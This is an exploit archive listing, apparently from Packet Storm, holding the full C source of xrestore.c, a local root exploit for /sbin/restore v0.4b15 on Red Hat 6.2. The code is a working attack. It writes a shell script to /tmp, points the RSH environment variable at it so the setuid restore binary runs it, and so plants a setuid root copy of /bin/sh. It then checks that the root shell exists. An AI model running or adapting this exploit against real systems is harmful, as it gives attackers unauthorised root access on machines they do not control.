what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

xrestore.c

xrestore.c
Posted Nov 4, 2000
Authored by vade79, realhalo | Site realhalo.org

Restore (/sbin/restore) v0.4b15 local root exploit. Tested against Redhat 6.2.

tags | exploit, local, root
systems | linux, redhat
SHA-256 | 25b1655a9902e87c0615e5d189cded02d9d32a74028c352acca92baf010d53b9

xrestore.c

Change Mirror Download
/* (linux)restore[0.4b15] local root exploit, by v9[v9@fakehalo.org].  this is
the counterpart to Mat's /sbin/dump exploit findings. it also can be applied
on /sbin/restore i noticed. /sbin/restore has to be setuid root for this to
successfully exploit, of course. -- so here goes.

note: this was built and tested for the redhat 6.2 installation.
*/
#define PATH "/sbin/restore" // path to restore
#define TMPEXEC "/tmp/tmpsh" // the temporary file to execute.
#define SUIDSHELL "/tmp/rootsh" // where the rootshell will be located.
#include <stdio.h>
#include <sys/stat.h>
main(){
char cmd[256],input[3];
struct stat mod1,mod2;
FILE *suidexec;
fprintf(stderr,"[ (linux)restore[0.4b15] local root exploit, by v9[v9@fakehalo"
".org]. ]\n\n",PATH);
if(stat(PATH,&mod1)){
fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",PATH);
exit(1);
}
else if(mod1.st_mode==36333){
fprintf(stderr,"[*] %s appears to be setuid and setgid.\n",PATH);
}
else{
fprintf(stderr,"[!] failed, %s doesn't appear to be setuid and setgid. (rh de"
"fault)\n",PATH);
exit(1);
}
fprintf(stderr,"[*] now making shell script to execute.\n");
unlink(TMPEXEC);
suidexec=fopen(TMPEXEC,"w");
fprintf(suidexec,"#!/bin/sh\n");
fprintf(suidexec,"cp /bin/sh %s\n",SUIDSHELL);
fprintf(suidexec,"chown root.root %s\n",SUIDSHELL);
fprintf(suidexec,"chmod 6755 %s\n",SUIDSHELL);
fclose(suidexec);
chmod(TMPEXEC,33261);
fprintf(stderr,"[*] done, now setting up environmental variables.\n");
setenv("INPUT",input,1);
setenv("RSH",TMPEXEC,1);
setenv("TAPE",":",1);
fprintf(stderr,"[*] done, now building and executing the command line.\n");
snprintf(input,sizeof(input),"y\nn");
snprintf(cmd,sizeof(cmd),"echo $INPUT | %s -R 1>/dev/null 2>&1",PATH);
system(cmd);
sleep(1);
unlink(TMPEXEC);
fprintf(stderr,"[*] done, now checking for success.\n");
if(stat(SUIDSHELL,&mod2)){
fprintf(stderr,"[!] failed, %s doesn't exist.\n",SUIDSHELL);
exit(1);
}
else if(mod2.st_mode==36333){
fprintf(stderr,"[*] success, %s is now setuid and setgid.\n",SUIDSHELL);
}
else{
fprintf(stderr,"[!] failed, %s exists, but doesnt appear to be setuid and set"
"gid.\n",SUIDSHELL);
exit(1);
}
fprintf(stderr,"[*] finished, everything appeared to have gone successful.\n");
exit(0);
}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close